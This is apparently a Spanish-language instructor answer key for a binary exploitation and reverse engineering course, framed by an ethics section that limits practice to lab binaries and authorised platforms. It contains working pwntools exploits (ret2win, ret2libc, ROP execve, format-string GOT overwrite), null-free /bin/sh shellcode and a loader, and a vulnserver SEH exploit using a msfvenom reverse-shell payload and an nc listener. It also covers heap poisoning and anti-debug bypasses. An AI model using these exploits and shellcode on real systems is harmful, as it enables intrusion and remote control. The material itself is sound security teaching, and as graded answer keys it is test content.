Estas son claves de referencia para el instructor y para autoevaluación. Intenta resolver cada reto y ejercicio por tu cuenta antes de mirar aquí: en explotación de binarios el valor está en el proceso (leer ensamblador, razonar el layout del stack, depurar con paciencia), no en copiar la respuesta. Casi siempre hay más de un camino válido; lo que sigue es una guía técnicamente correcta.
Volver al índice de la parte: ../classes/parte-5-explotacion-de-sistemas-y-binarios/README.md
Marco ético (obligatorio). Todo lo que sigue se practica exclusivamente sobre binarios que tú mismo compilas en tu VM, sobre software de laboratorio pensado para ello (vulnserver), o sobre retos de plataformas que autorizan por diseño su explotación (pwn.college, picoCTF, ROP Emporium, pwnable.kr, HackTheBox, crackmes.one). Trabaja siempre en una VM Linux/Windows aislada, sin red hacia producción y con snapshots antes de cada experimento (imprescindible en heap, Windows y kernel). Escribir shellcode, exploits o hacer ingeniería inversa contra sistemas o software de terceros sin permiso explícito por escrito es ilegal. La divulgación de vulnerabilidades encontradas se hace de forma coordinada y responsable.
Objetivo: programa NASM que calcule (7 * 6) - 5 con registros e instrucciones aritméticas y devuelva el resultado (37) como código de salida; objdump -d debe mostrar una imul/mul y una sub.
Enfoque (lab propio):
calc.asm:asm
section .text
global _start
_start:
mov rax, 7
imul rax, 6 ; rax = 42
sub rax, 5 ; rax = 37
mov rdi, rax ; codigo de salida
mov rax, 60 ; syscall exit
syscall
nasm -f elf64 calc.asm -o calc.o && ld calc.o -o programa../programa; echo $? → imprime 37.objdump -d -M intel programa muestra imul rax,rax,0x6 (o imul) y sub rax,0x5.Evidencia que cumple el criterio: salida 37 en echo $? y presencia de imul/mul + sub en el desensamblado. (Se usa imul rax, 6, forma con inmediato, perfectamente válida.)
%/$): mov $0x5, %eax; add %rax, %rbx; lea -0x4(%rbp), %rax.0x00401136 en little-endian (LSB primero) = 36 11 40 00.mov rax, 20 / add rax, 22 (o dos inmediatos cualesquiera) → mov rdi, rax antes de exit; echo $? mostrará la suma (mod 256).-O2 el desensamblado es más corto porque el optimizador hace constant folding (suma(3,4) se resuelve en compilación a 7) e inlining, eliminando la llamada y el prólogo/epílogo de suma.je/jz consultan ZF; jne/jnz consultan ZF; jg/jl consultan SF, OF y ZF; jb/jae consultan CF. Basta identificar tres saltos y su bandera.if (a==b) compila típicamente a cmp eax, ebx seguido de jne .else (o je): el cmp fija las banderas y el salto condicional las lee.Objetivo: con GDB, imprimir la dirección de retorno de triple sin backtrace, solo con aritmética sobre $rbp; debe coincidir con la instrucción siguiente a call triple en main.
Enfoque (lab propio):
gcc -O0 -g frame.c -o frame y gdb -q ./frame.break triple → run. Ya dentro de triple, el prólogo (push rbp; mov rbp, rsp) ya se ejecutó, así que $rbp ancla el frame.[$rbp+8] (justo encima del saved RBP). Imprímela: x/gx $rbp+8 o p/x *(unsigned long*)($rbp+8).disassemble main, localiza call triple y anota la dirección de la instrucción siguiente.Evidencia que cumple el criterio: el valor de [$rbp+8] es exactamente la dirección de la instrucción posterior a call triple en main. (Pon el breakpoint tras el prólogo; si rompes en la primerísima instrucción, la dirección de retorno aún está en [$rsp], no en [$rbp+8].)
[rbp+8] = ret address, [rbp] = saved RBP, y la local r en [rbp-8] (8 bytes, long). El stack crece hacia abajo.call empuja en el stack la dirección de retorno (RSP -= 8) y salta al destino (carga RIP). ret hace lo inverso: saca esa dirección del tope (pop a RIP, RSP += 8).a→RDI, b→RSI, c→RDX, d→RCX.-fomit-frame-pointer desaparecen push rbp/mov rbp, rsp y pop rbp; las locales se referencian relativas a RSP en vez de RBP, y RBP queda libre como registro de propósito general.$rbp_llamador - $rbp_actual (o diferencia de RSP entre entradas). Basta restar las dos direcciones impresas.RCX, RDX, R8, R9 (más shadow space de 32 bytes reservado por el llamador).Objetivo: con cyclic, hallar el offset exacto (bytes) desde el inicio de buf hasta la dirección de retorno de vuln; debe coincidir con 64 + 8 y justificarse con context.
Enfoque (lab propio):
vuln didáctico: gcc -fno-stack-protector -no-pie -z execstack vuln.c -o vuln (solo laboratorio).cyclic 200, run, y pega el patrón como entrada de gets.cyclic -l 0x6161616c (usa el valor real que veas) → devuelve el offset.context/telescope $rsp: buf ocupa 64 bytes, seguido de 8 bytes de saved RBP; por tanto el retorno queda a 72 bytes del inicio de buf.Evidencia que cumple el criterio: cyclic -l reporta 72 y en context se ve que 64 (buffer) + 8 (saved RBP) = 72 hasta la dirección de retorno.
x/8gx $rsp (8 giant = qwords, en hex).watch buf (o watch *(char*)&buf) → el programa se detiene cuando gets escribe sobre esa zona; observas la sobreescritura en tiempo real.search win (pwndbg) o search -s win busca la cadena en las regiones mapeadas.disassemble vuln muestra el call a gets (call 0x... <gets@plt>) tras cargar buf en RDI (lea rax,[rbp-0x...]; mov rdi,rax).stepi entra en la función llamada por call (baja un frame); nexti ejecuta el call completo sin entrar, deteniéndose en la instrucción siguiente.~/.gdbinit con, por ejemplo, set disassembly-flavor intel, break main, y alias propios; se carga automáticamente al arrancar GDB.Objetivo: entregar un diagrama del stack frame de vuln con offsets numéricos exactos y la cifra de bytes hasta (sin sobrescribir aún) la dirección de retorno; el offset debe coincidir con cyclic -l.
Enfoque (lab propio, conceptual):
disassemble vuln en pwndbg para leer el tamaño del frame y la posición de buf (lea ...,[rbp-0x40] → buf empieza en rbp-0x40, es decir 64 bytes).text
[ ret address ] <- rbp+8 (objetivo del exploit)
[ saved RBP ] <- rbp (8 bytes)
[ buf[63..0] ] <- rbp-0x40 (64 bytes, crece hacia rbp)
cyclic -l de la clase 118 (72).Evidencia que cumple el criterio: el offset del diagrama (72) coincide con cyclic -l, y saved RBP (rbp) y ret address (rbp+8) están correctamente ubicados. Nota: sub rsp, 0x50 reserva 80 bytes de frame (buffer 64 + alineación/otras locales); el buffer son 64, no confundas ambos al calcular el offset.
strncpy(dst, src, sizeof(dst)) puede dejar dst sin terminador \0 si src es igual o más largo que dst; una lectura posterior con strlen/printf desbordará al buscar el nulo.gets→fgets; strcpy→strncpy/strlcpy; strcat→strncat/strlcat; sprintf→snprintf; scanf("%s")→scanf("%Ns") o fgets.nop del sled desliza la ejecución hasta el payload. No ayuda si NX está activo (no se ejecuta el stack) o si controlas la dirección con exactitud.Objetivo: exploit.py que, contra tu vuln, imprima la salida de win() de forma fiable en 5 ejecuciones seguidas, sin segfaults.
Enfoque (lab propio):
cyclic.win: en pwntools elf.symbols.win.exploit.py:python
from pwn import *
context.binary = elf = ELF("./vuln")
p = process("./vuln")
ret = next(elf.search(asm("ret"), executable=True)) # alineacion a 16 bytes
payload = b"A"*72 + p64(ret) + p64(elf.symbols.win)
p.sendline(payload)
print(p.recvall(timeout=1).decode(errors="ignore"))
ret extra realinea RSP a múltiplo de 16 para evitar el crash de movaps dentro de funciones de libc que invoque win().Evidencia que cumple el criterio: for i in $(seq 5); do python3 exploit.py; done muestra el mensaje de win() las 5 veces. Como es -no-pie, la dirección de win es estable y el exploit es determinista.
-m32): sin registros para argumentos; el offset cambia (saved EBP = 4 bytes) y se empaqueta con p32(elf.symbols.win). Estructura b"A"*offset + p32(win).cyclic/cyclic -l para el nuevo offset y sustituye la constante en el script; el resto no cambia.p.recvuntil(b"prompt> ") antes de sendline sincroniza con la salida del programa y evita condiciones de carrera.win(arg) toma un argumento, en x64 se coloca en RDI con un gadget pop rdi; ret antes de la dirección de win; en x86 se empuja tras la dirección de retorno de win.ret consume 8 bytes del stack y desplaza RSP en 8, corrigiendo la desalineación de 16 bytes que exige System V antes de un call/instrucciones SSE (movaps).socat TCP-LISTEN:1337,reuseaddr,fork EXEC:./vuln y cambia process(...) por remote("127.0.0.1", 1337).Objetivo: shellcode de 64 bits sin bytes nulos que lance /bin/sh, más el cargador C; ./loader abre shell y el conteo de \x00 es 0.
Enfoque (lab propio):
sh.asm con execve("/bin/sh", NULL, NULL) evitando nulos (xor para poner a 0, push/pop para inmediatos, cadena "/bin//sh" de 8 bytes sin nulo):asm
section .text
global _start
_start:
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f ; "/bin//sh"
push rdi
mov rdi, rsp
xor rdx, rdx
push 59
pop rax
syscall
nasm -f elf64 sh.asm -o sh.o && ld sh.o -o sh && ./sh → debe abrir una shell.objdump -d sh -M intel | grep '^ ' | cut -f2 | tr -d ' \n' | sed 's/../\\x&/g'; echo.python3 -c 'print(b"\x48\x31...".count(b"\x00"))' → 0.loader.c con char sc[] = "..."; y ((void(*)())sc)();, compilado gcc -z execstack -no-pie loader.c -o loader.Evidencia que cumple el criterio: ./loader da shell interactiva y el conteo de \x00 sobre los bytes es 0. (0x68732f2f6e69622f es /bin//sh en little-endian: 2f 62 69 6e 2f 2f 73 68, 8 bytes y ningún nulo; la doble barra es inocua para el kernel.)
/bin/ls: cambia la cadena a "/bin/ls\x00" — como tiene nulo por longitud impar, se construye con xor/push o rellenando; alternativa: execve("/bin/ls", argv, NULL). La mecánica de registros (RDI=ruta, RSI=argv, RDX=envp, RAX=59) es idéntica.mov reg, 0 por xor reg, reg; para inmediatos pequeños push N; pop rax; para cadenas, empujarlas por qwords sin nulos. Así el shellcode no contiene \x00 que trunque un strcpy/gets./bin/sh ronda 22–30 bytes; msfvenom -p linux/x64/exec suele ser mayor por su codificador/opciones. Basta comparar longitudes con len().exit(7): xor edi,edi; mov dil,7 (o push 7; pop rdi), mov al, 60; syscall; echo $? → 7.msfvenom -p linux/x64/exec CMD=id -f c genera código que arma execve("/bin/sh","-c","id"); al analizarlo verás la construcción de argv en el stack.\x90...) delante del shellcode da margen si la dirección de salto es imprecisa; aporta fiabilidad cuando no controlas la dirección exacta y no hay NX.Objetivo: cuatro binarios del mismo fuente con distintas combinaciones de protecciones; entregar el checksec de cada uno y clasificar dificultad, identificando cuál tiene NX+Canary+PIE+Full RELRO.
Enfoque (lab propio):
bash
gcc vuln.c -o v_full # defaults: NX, canary, PIE, (Full/Partial) RELRO
gcc -fno-stack-protector vuln.c -o v_nocanary
gcc -no-pie -fno-stack-protector vuln.c -o v_nopie
gcc -z execstack -no-pie -fno-stack-protector vuln.c -o v_open
for b in v_full v_nocanary v_nopie v_open; do echo "== $b =="; checksec --file=$b; done.Evidencia que cumple el criterio: v_full es el que muestra NX enabled, Canary found, PIE enabled y (según distro) Full RELRO → el más difícil. Orden de dificultad razonado: v_full > v_nopie (código fijo, facilita ROP) > v_nocanary (overflow lineal directo) > v_open (stack ejecutable + sin PIE/canary = shellcode directo). La debilidad residual guía el orden: PIE/ASLR se vencen con un leak; NX con ret2libc/ROP; canary con una fuga previa.
mov rax, fs:0x28; mov [rbp-8], rax; en el epílogo: mov rax, [rbp-8]; sub rax, fs:0x28; jne __stack_chk_fail (o xor + je). Ahí se lee y compara el canary.2, revisa cat /proc/self/maps o ldd en 3 corridas: la base de libc cambia cada vez.Objetivo: exploit ret2libc que abra shell interactiva contra tu binario NX (sin PIE/canary), calculando la base de libc en runtime y funcionando con ASLR activado.
Enfoque (lab propio):
checksec ./ret2libc → NX enabled, No PIE, No canary.puts(GOT['puts']) y vuelve a main, usando pop rdi; ret:python
from pwn import *
elf = context.binary = ELF("./ret2libc")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./ret2libc"); rop = ROP(elf)
pop_rdi = rop.find_gadget(["pop rdi","ret"])[0]
p.sendline(b"A"*72 + p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]) + p64(elf.symbols["main"]))
leak = u64(p.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]
system("/bin/sh"), añadiendo un ret de alineación:python
ret = rop.find_gadget(["ret"])[0]
p.sendline(b"A"*72 + p64(pop_rdi) + p64(next(libc.search(b"/bin/sh"))) + p64(ret) + p64(libc.symbols["system"]))
p.interactive()
Evidencia que cumple el criterio: p.interactive() da shell donde id responde; funciona con ASLR activo porque la base de libc se calcula desde el leak en cada corrida. Requisito: usar la libc exacta del sistema (los offsets dependen de la versión).
printf) con el mismo esquema y calcula libc.address = leak - libc.symbols["printf"]; el resto es idéntico.one_gadget válido (one_gadget libc.so.6 da direcciones execve("/bin/sh") con constraints): payload b"A"*72 + p64(libc.address + og), cumpliendo las condiciones de registros.pop rdi: el argumento de system va por stack. Payload: b"A"*off + p32(system) + p32(ret_dummy) + p32(binsh_addr).main tras la fuga porque la primera ronda solo imprime la dirección; necesitas una segunda entrada al overflow, ya con la base calculada, para lanzar system.libc-database: ./find puts <últimos 3 nibbles del leak> identifica la versión; ./download la baja para usar sus offsets exactos.system//bin/sh/símbolos no coinciden → la base calculada es errónea y el exploit crashea o salta a basura.Objetivo: exploit ROP que ejecute execve("/bin/sh", NULL, NULL) mediante syscall contra tu binario estático, sin usar system de libc; la cadena incluye pop rdi/rsi/rdx/rax y un syscall.
Enfoque (lab propio):
gcc -static -no-pie -fno-stack-protector vuln.c -o ropme (estático = muchos gadgets).ROPgadget --binary ropme | grep -E ": pop rdi ; ret|: pop rsi ; ret|: pop rdx ; ret|: pop rax ; ret|: syscall" y ROPgadget --binary ropme --string '/bin/sh' (o escríbela en .bss).execve: RDI→"/bin/sh", RSI→0, RDX→0, RAX→59, luego syscall. Con pwntools:python
from pwn import *
elf = context.binary = ELF("./ropme")
rop = ROP(elf)
binsh = next(elf.search(b"/bin/sh")) # o rop.write() a .bss si no existe
rop.execve(binsh, 0, 0)
p = process("./ropme"); p.sendline(b"A"*72 + rop.chain()); p.interactive()
Evidencia que cumple el criterio: shell interactiva; en telescope/gdb.attach se ve cada ret avanzando por los gadgets pop rdi/rsi/rdx/rax y el syscall final con RAX=59.
[pop_rdi][binsh][pop_rsi][0][pop_rdx][0][pop_rax][59][syscall]; verifica en GDB que cada registro toma su valor antes del syscall.ropper --file ropme --search "pop rdi" da resultados equivalentes a ROPgadget; comparar formato/cobertura.leave; ret (= mov rsp,rbp; pop rbp; ret) mueve RSP a un buffer en .bss previamente controlado; útil si el overflow original es corto.mprotect(addr, len, 7): cadena que carga RDI=dirección de página, RSI=tamaño, RDX=7 (RWX) y llama a mprotect, para después ejecutar shellcode ahí.pop (RDI, RSI, RDX, y RAX para el número), más el gadget syscall.Objetivo: exploit que, con una sola cadena de formato, sobrescriba una entrada de la GOT para desviar la ejecución a win(); mostrar en GDB la entrada GOT modificada.
Enfoque (lab propio):
printf '%p %p %p %p\n' | ./fmt imprime valores de la pila (no el texto literal).printf 'AAAABBBB %1$p %2$p ...\n' | ./fmt y cuenta hasta ver 0x42424242.../0x41414141; ese índice N es el offset.fmtstr_payload (ajusta el offset al hallado):python
from pwn import *
elf = context.binary = ELF("./fmt")
payload = fmtstr_payload(6, {elf.got["exit"]: elf.symbols["win"]})
p = process("./fmt"); p.sendline(payload); print(p.recvall(timeout=1))
exit() (o la función que redirigiste), salta a win().Evidencia que cumple el criterio: se ve el mensaje de win() y en GDB x/gx elf.got.exit muestra ahora la dirección de win. Se apunta a exit/una función llamada tras el printf para que el desvío se dispare de forma limpia.
AAAA %1$p %2$p %3$p... y localiza en qué posición aparece 0x41414141 (32 bits) o 0x...41414141 (64 bits): ese N es el offset del argumento controlado.%N$p concreto (valor terminado en 00 y no-puntero): recórrelo con %p hasta identificarlo por su forma (byte bajo nulo).fmtstr_payload(offset, {&global: 0xdeadbeef}) (o a mano con anchos %Nc y %hn) escribe el valor en la variable global.fmtstr_payload(offset, {elf.got["puts"]: elf.symbols["win"]}): el siguiente puts invocará win.%hn/%hhn por partes; fmtstr_payload lo automatiza y es menos propenso a errores de conteo.-D_FORTIFY_SOURCE=2 -O2, printf con %n en formato escribible (no en .rodata) es rechazado en runtime (*** %n in writable segment detected ***), bloqueando la escritura.Objetivo: con un programa que reserve/libere varios chunks, demostrar en pwndbg que el tcache es LIFO prediciendo la dirección que devolverá el siguiente malloc.
Enfoque (lab propio):
heapdemo.c (reserva a,b de 0x30, free(a); free(b), luego malloc(0x30)).break main; run; tras los malloc/free usa heap, bins, vis_heap_chunks.free(a); free(b), bins muestra el tcache del tamaño 0x40 con orden LIFO: la cabeza es b (el último liberado).malloc(0x30) devolverá la dirección de b (cabeza del tcache), no la de a.Evidencia que cumple el criterio: el malloc posterior retorna exactamente la dirección que predijiste desde bins (la del último free), confirmando el comportamiento LIFO del tcache. Recuerda: malloc(0x30) da un chunk de 0x40 (incluye cabecera y redondeo).
[prev_size][size] (16 bytes en x64) inmediatamente antes de los datos; el size del segundo está justo tras el final de los datos del primero.bins lista el tcache de ese tamaño con 3 entradas encadenadas por next (orden LIFO: el último arriba).free inserta al frente de la lista y malloc saca del frente; implica que la memoria liberada más recientemente se reutiliza primero.malloc(0x420) (> 0x408, fuera del rango tcache) va, al liberarse, al unsorted bin (y de ahí a small/large según tamaño).vis_heap_chunks como el último, grande, con su size = espacio libre restante del heap.next de un chunk en tcache está en los primeros 8 bytes de la zona de datos del chunk liberado (donde antes había datos del usuario); apunta al siguiente chunk del tcache.Objetivo: en un binario con UAF/double free, lograr que un malloc devuelva una dirección elegida mediante tcache poisoning.
Enfoque (lab propio / reto autorizado):
tcache key, hace falta reciclar/falsear la clave o usar fastbin).next del chunk liberado con la dirección objetivo (edit(idx, p64(target))).malloc del mismo tamaño: el primero saca el chunk falso al frente; el segundo devuelve target.__free_hook (eliminado en ≥2.34; en modernas se apunta a GOT/estructuras equivalentes).Evidencia que cumple el criterio: en GDB (vis_heap_chunks, bins) se comprueba que un malloc retornó la dirección objetivo; si el reto lo permite, se logra ejecución (system en el hook) o lectura de la flag.
free(a), poner a = NULL elimina el puntero colgante; ASan ya no reporta heap-use-after-free porque no se vuelve a usar la memoria liberada.free devuelve el chunk al asignador; el siguiente malloc del mismo tamaño reutiliza esa misma región, de modo que el puntero viejo (a) y el nuevo (b) apuntan al mismo lugar y se solapan.next y saca el chunk con dos malloc; el segundo devuelve la global.tcache key (glibc ≥2.29) es un campo en el chunk liberado igual al puntero del tcache; al liberar de nuevo, glibc detecta que la clave ya está puesta → double free detected in tcache.__malloc_hook/__free_hook solo en versiones antiguas, _IO_2_1_stdout_/stderr (FSOP), o punteros de función en estructuras de la app.--tool=memcheck) también lo detecta pero es más lento y no requiere recompilar.Objetivo: en intov.c, demostrar el heap overflow con ASan y luego repararlo con __builtin_mul_overflow, probando que el mismo n malicioso ya no corrompe memoria.
Enfoque (lab propio):
gcc -fsanitize=address -g intov.c -o intov_asan.n que desborde el cálculo n * 8 (tipo unsigned, 32 bits): n = 536870912 (0x20000000) hace n*8 = 2^32 → 0 truncado, así malloc(0) y el memcpy posterior desborda el heap. ASan reporta heap-buffer-overflow.c
unsigned size;
if (__builtin_mul_overflow(n, 8u, &size)) return NULL;
char *buf = malloc(size);
n: la función rechaza el tamaño (return NULL) y ASan no reporta nada.Evidencia que cumple el criterio: antes del fix, ASan imprime heap-buffer-overflow; después, el programa rechaza el tamaño y ASan queda limpio. Nota técnica importante: como size y n son unsigned (32 bits en x86 y x86-64), el desbordamiento ocurre igualmente en un binario nativo de 64 bits; no necesitas -m32 para reproducirlo. Solo widening a size_t (64 bits) evitaría el wrap en esta plataforma.
unsigned len = 0; len - 1 → 0xFFFFFFFF (4294967295); en size_t (64 bits) sería SIZE_MAX.if (n != 0 && n > UINT_MAX / 8) return NULL; (o directamente __builtin_mul_overflow) antes de malloc(n*8).short s = (int)70000; → s pierde los bits altos y guarda 70000 mod 65536 = 4464; un tamaño "grande" pasa a uno pequeño.int signed que se desborda es UB: el compilador puede asumir que a+b no desborda y optimizar mal comparaciones como if (a+b < a). Con -fsanitize=undefined (UBSan) se detecta el overflow signed.for (i = 0; i <= n; i++) buf[i] = ... escribe n+1 elementos (índice n incluido) → un byte fuera de límite; corrige a i < n.width*height*bpp en un parser de imágenes → malloc insuficiente → heap overflow al copiar los píxeles. Resumen: entrada controlada → multiplicación que desborda → asignación pequeña → escritura desbordada.Objetivo: sobre vulnserver en tu VM Windows aislada, lograr ejecución de código mediante sobreescritura de SEH y recibir una shell en el listener local; el payload usa POP POP RET de un módulo sin SafeSEH y un short jmp en nSEH.
Enfoque (VM Windows aislada + vulnserver):
GMON) con una cadena larga; en el debugger observa que la cadena SEH se sobrescribe.!mona pc 5000 → crash → !mona findmsp da la distancia a nSEH y SEH.POP POP RET en módulo sin SafeSEH: !mona seh.[relleno][nSEH: short jmp +6 (\xeb\x06\x90\x90)][SEH: dir POP POP RET][NOPs][shellcode].msfvenom -p windows/shell_reverse_tcp LHOST=<vm> LPORT=4444 -f python evitando badchars (!mona bytearray).POP POP RET, aterriza en nSEH, el short jmp salta al shellcode.Evidencia que cumple el criterio: el listener (nc -lvnp 4444 en la VM) recibe una shell de vulnserver; el POP POP RET procede de un módulo sin SafeSEH y nSEH contiene el short jmp.
!mona bytearray genera todos los bytes; se envían y se compara la memoria en el crash: donde la secuencia se rompe/altera está un badchar. Se elimina y se repite.nSEH porque POP POP RET devuelve la ejecución a los 4 bytes justo antes del handler (nSEH); desde ahí, un short jmp salva la distancia hasta el shellcode que está más adelante.!mona modules lista los módulos con sus flags (SafeSEH/ASLR/Rebase); eliges uno con SafeSEH: False para el POP POP RET.nSEH es escaso para el short jmp+shellcode, se usa un egghunter (código pequeño que busca en memoria una etiqueta que precede al shellcode colocado en otra región).\x00, \x0a) se regenera el shellcode con msfvenom -b '\x00\x0a' (codificador que no emita esos bytes).Objetivo: triage estático completo de un crackme e identificar, sin ejecutarlo, qué función compara la clave y qué API/rutina usa.
Enfoque (lab propio):
file crackme (arquitectura, si es PIE/stripped), checksec --file=crackme, strings -n 6 crackme (prompts, formatos, cadenas candidatas a clave).readelf -h (entry point), readelf -S (secciones), readelf -s | head (símbolos si no está stripped).objdump -d -M intel crackme | sed -n '/<main>:/,/ret/p' y localiza llamadas de comparación (call ...<strcmp>, <strncmp>, o una comparación byte a byte propia).strings) y la call strcmp cercana indican la rutina de validación.Evidencia que cumple el criterio: señalas la función de comparación (p. ej. strcmp, o un bucle propio) con evidencia cruzada de strings (la cadena esperada), objdump (la call) y readelf (el símbolo, si existe).
.text, .data, símbolos). Pueden faltar los section headers sin impedir la ejecución.readelf -h crackme → campo Entry point address; en objdump -d localizas esa dirección (normalmente _start)."Wrong password" o "S3cr3t!" sugiere el mensaje de fallo o la propia clave; su xref lleva a la lógica de validación.readelf -s no muestra nombres de funciones de usuario (solo dinámicos) o file dice stripped. Un binario con símbolos muestra main, funciones propias, etc.CreateFileA, RegOpenKeyEx, InternetOpenUrl sugieren, respectivamente, acceso a ficheros, registro y red → indicio de comportamiento.file/strings/checksec) → localizar main/entry y funciones interesantes por imports/strings → construir call graph desde los puntos de entrada de datos → profundizar solo en las rutas relevantes (no leer todo linealmente).Objetivo: usando solo Ghidra, deducir la clave válida de un crackme y luego comprobarla ejecutándolo; documentar en comentarios cómo se llegó a ella.
Enfoque (lab propio):
File → New Project, importa el crackme, acepta el auto-análisis.main; usa el panel Decompiler (pseudo-C) junto al Listing.local_28→input, uVar1→len) con L para clarificar.Show References to) para ubicar la función de validación.char[N] para que el decompilador la muestre legible; deduce la clave del pseudo-C (comparación directa, transformación, o longitud).crackme con la clave deducida.Evidencia que cumple el criterio: el crackme acepta la clave deducida del pseudo-C, y los comentarios de Ghidra documentan el razonamiento (qué función compara, qué transformación aplica).
main hasta que el pseudo-C exprese "leer input → transformar → comparar con X → éxito/fracaso" sin ambigüedad.struct con los campos que el binario usa (por offsets observados) y aplícala a la variable puntero; el decompilado pasa a mostrar accesos ->campo.Ctrl+Shift+F (References to) sobre la función de validación lista todas sus llamadas.currentProgram.getFunctionManager().getFunctions(True) e imprime nombre/entry point (equivalente a "extraer imports" desde el External Symbols).File → Export Program (o exportar como C/anotaciones) genera el informe del análisis.Objetivo: analizar un crackme con radare2 (sin GUI) y deducir la clave usando solo comandos de r2, documentando los comandos.
Enfoque (lab propio):
r2 -A ./crackme (ejecuta aaa).afl (lista funciones) → s main; pdf (desensambla main).izz (todas las strings) para ver el prompt y la clave candidata; axt @ str.<clave> para ver quién la referencia.VV @ main (grafo interactivo) para identificar el bloque de "éxito" y la condición que lo alcanza.Evidencia que cumple el criterio: obtienes la clave correcta trabajando solo en la consola de r2, y documentas la secuencia (aaa, afl, pdf, izz, axt, VV).
pdc (o pdg con el plugin de decompilación) da un pseudo-C más pobre que Hex-Rays, pero suficiente para lógica sencilla; se compara la legibilidad.afvn <nuevo> <viejo> (variables) o afn <nuevo> <dir> (funciones).for f in r.cmdj("aflj"): ... y r.cmd("axt @ sym.imp.strcmp") para listar llamadas a strcmp.VV, el bloque de éxito es el que sigue a la rama "clave correcta" (suele imprimir "Correcto"/dar la flag); se identifica por su string o su call puts.Ps <archivo> guarda el proyecto de r2 (análisis, comentarios, renombrados) para retomarlo.Objetivo: con capstone y pyelftools, script que liste todas las instrucciones call de .text con su dirección y, si es directa, la función destino; marcar las indirectas como "no resueltas".
Enfoque (lab propio):
from capstone import *
from elftools.elf.elffile import ELFFile
f = ELFFile(open("crackme", "rb"))
text = f.get_section_by_name(".text")
code, base = text.data(), text["sh_addr"]
md = Cs(CS_ARCH_X86, CS_MODE_64); md.detail = True
for i in md.disasm(code, base):
if i.mnemonic == "call":
op = i.op_str
if op.startswith("0x"): # destino directo (relativo resuelto por capstone)
print(f"0x{i.address:x}: call -> {op}")
else: # call rax / call [rip+..] etc.
print(f"0x{i.address:x}: call -> no resuelta ({op})")
Evidencia que cumple el criterio: las llamadas directas se imprimen con su destino (verificable contra objdump -d crackme), y las indirectas (call rax, call qword [rip+...]) se marcan como "no resuelta".
.text (p. ej. una tabla de saltos) que el desensamblado lineal interpreta como opcodes, produciendo instrucciones "basura" hasta que se resincroniza.main con aristas a las funciones que llama (scanf, validar, puts), y validar a strcmp..text y contar i.mnemonic == "call".upx -t confirma UPX; si no, alta entropía (~7.9), pocas secciones e imports mínimos delatan empaquetado.jmp rax (salto indirecto) complica el estático porque el destino depende de un valor de runtime; el desensamblado recursivo no puede seguirlo sin análisis de valores o ejecución.Objetivo: deducir la clave de un crackme que descifra su comparación en runtime, usando análisis dinámico (ltrace, GDB o Frida).
Enfoque (lab propio / VM aislada):
ltrace ./crackme: si la comparación es un strcmp de librería, verás strcmp("loQueEscribí", "CLAVE_REAL") directamente → clave revelada.strcmp:gdb
break strcmp
commands
printf "cmp: %s vs %s\n", $rdi, $rsi
continue
end
run
Interceptor.attach(Module.getExportByName(null,"strcmp"), {onEnter(a){console.log(a[0].readUtf8String(), a[1].readUtf8String());}}) con frida -f ./crackme -l hook.js.Evidencia que cumple el criterio: obtienes la clave correcta y explicas con qué herramienta/hook la capturaste justo en la comparación (p. ej. "ltrace mostró strcmp(input,\"S3cr3t\")").
ltrace ./crackme y leer el strcmp(input, "CLAVE") que aparece al introducir cualquier texto.break strcmp + commands ... printf ... continue ... end: registra cada comparación sin detenerse (como en el reto).onLeave(retval){ retval.replace(0); } sobre la función de validación fuerza "clave correcta" sin conocerla.strace traza syscalls (open/read/write/mmap): útil para I/O y comportamiento a nivel kernel. ltrace traza llamadas a librería (strcmp, malloc): más legible para la lógica.dump memory out.bin $addr $addr+64 tras la rutina de descifrado, luego strings out.bin para leer la cadena recuperada.Objetivo: tomar un crackme empacado con anti-debugging y analizarlo: desempacar, neutralizar el anti-debug y deducir la clave.
Enfoque (lab propio / VM aislada):
upx -t crackme.packed y/o calcula entropía (~7.9 sugiere empaquetado/cifrado).upx -d crackme.packed -o crackme.unpacked (si no es UPX, dump en runtime tras que el stub descomprima en memoria).ptrace(PTRACE_TRACEME) en Ghidra y parchea el salto (invierte je↔jne) o intercepta ptrace con Frida devolviendo 0.Evidencia que cumple el criterio: logras adjuntar un debugger pese al anti-debug (por parcheo o Frida) y obtienes la clave válida del binario desempacado.
upx -d, objdump -d crackme.unpacked muestra muchas más funciones reales (antes solo se veía el stub descompresor).ptrace: sustituir el je/jne posterior a la comparación de su retorno para que el flujo tome siempre la rama "sin debugger".ptrace (Interceptor.replace) devolviendo 0 sin tocar el binario en disco.sm.explore(find=..., avoid=...) y posix.dumps(0) recupera la entrada; límite = state explosion en binarios con muchas ramas/bucles.switch/bloque central con una variable de estado que decide el siguiente bloque; se identifica por su bloque con muchas aristas de entrada/salida.Objetivo: encontrar y reproducir un crash en un objetivo instrumentado, minimizar el caso y explicar la causa raíz con el backtrace de ASan.
Enfoque (lab propio):
afl-cc -fsanitize=address -o parser_afl parser.c.mkdir in && printf 'FUabc' > in/seed (supera el check s[0]=='F' && s[1]=='U').afl-fuzz -i in -o out -- ./parser_afl @@. En minutos aparecen crashes en out/default/crashes/../parser_afl out/default/crashes/id:000000* → ASan imprime stack-buffer-overflow (el strcpy(b, s) desborda char b[16]).afl-tmin -i <crash> -o crash_min -- ./parser_afl @@.Evidencia que cumple el criterio: entregas un input mínimo determinista (una cadena que empieza por FU y excede 16 bytes) y el reporte de ASan identificando stack-buffer-overflow en parse.
map coverage/paths del panel de AFL++.-x dict.txt) permite superar checks de formato antes; sin él, el fuzzer tarda mucho más en adivinar el token.__AFL_LOOP) reduce el coste de fork/exec por ejecución → miles de ejecuciones/seg más que el modo por proceso.casr).afl-tmin reduce el caso al mínimo que sigue provocando el crash: elimina bytes irrelevantes conservando el prefijo FU y la longitud que desborda.LLVMFuzzerTestOneInput(const uint8_t*d, size_t n) copia d a un buffer terminado en \0 y llama a la función; compila con -fsanitize=fuzzer,address.Objetivo: auditar un proyecto C pequeño, identificar una vulnerabilidad real, demostrarla con una PoC mínima y redactar el reporte de divulgación.
Enfoque (lab propio / open source con permiso):
argv, ficheros, red, IPC) y márcalas como fuentes.cppcheck --enable=all --inconclusive src/, scan-build make, semgrep --config p/c src/.memcpy/strcpy con tamaño controlado) desde la fuente del dato hasta el sumidero (taint manual), confirmando explotabilidad.archivo:línea exacto.Evidencia que cumple el criterio: entregas ubicación exacta (archivo:línea), una PoC que dispara el bug y un reporte con impacto, versiones y mitigación propuesta.
